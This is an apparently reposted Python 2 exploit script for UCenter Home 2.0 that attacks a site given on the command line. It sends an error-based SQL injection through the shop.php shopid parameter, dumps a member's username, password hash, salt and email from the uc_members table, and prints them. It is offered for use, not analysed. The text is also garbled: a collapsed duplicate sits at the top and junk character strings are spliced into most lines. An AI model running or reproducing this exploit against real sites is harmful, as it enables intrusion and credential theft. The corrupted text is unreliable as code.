UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
4 _2 M0 A1 x" g7 B- o$ a0 z
/ g$ f2 v/ W: E: B) z$ v5 i
# g! [$ n- P+ {% Q0 A( A#!/usr/bin/env python  
, }4 E: D( s5 f8 |# }
import sys  
import urllib2  
import re  

7 i1 J/ ?* R# Z4 I4 g3 K# Y6 Sdef info():  
    print 'From:http://www.exploit-db.com/exploits/14997/'
, J- G6 ?8 J( U6 g% _0 \    print 'http://www.hake.cc/Web_loudong/'
# h- D; H( f6 e+ D4 ~% \1 d: a# n    print 'changed:qiaoy'  
    print 'exp:'  
    print ' ./UCenter_Home_2.0.py site'  

def main():  
/ i6 x3 J+ W9 z# }    if len(sys.argv) != 2:  
9 n0 ~( n+ G* T, S) C        info()  
    else:  
        site = sys.argv[1]  
        if site[0:7] == 'http://':  
            sitesite =site  
        elif site[0:8] == 'https://':  
! ~: u4 @+ F. w" z1 A- F) A            sitesite = site  
        else:  
            site = 'http://'+site  
. T: |0 \1 \. `6 D- \# s: Y7 t        try:  
6 j! F* H! w; V( q            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
( d( B, S8 p/ W$ \  q# D            Value = urllib2.urlopen(url).read()  
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
" r" {  W& S8 C7 }' W7 x            hacked = Msg.split(':')  
            print 'Name:    '+hacked[1]  
* |7 j% `* y: Q) X- C8 `8 f1 t: Z( W            print 'Passwd:  '+hacked[2]  
            print 'salt:    '+hacked[3]  
' E' h1 t% `# z9 Y( k' P            print 'email:   '+hacked[4]  
        except:  
            print 'Sorry,I can\'t work............'  
" g; \( c& f9 x, ^
+ H4 g% O7 e4 E/ M& r$ S3 gif __name__ == '__main__':  
3 l- t/ V8 x: t% ?4 n+ k    main()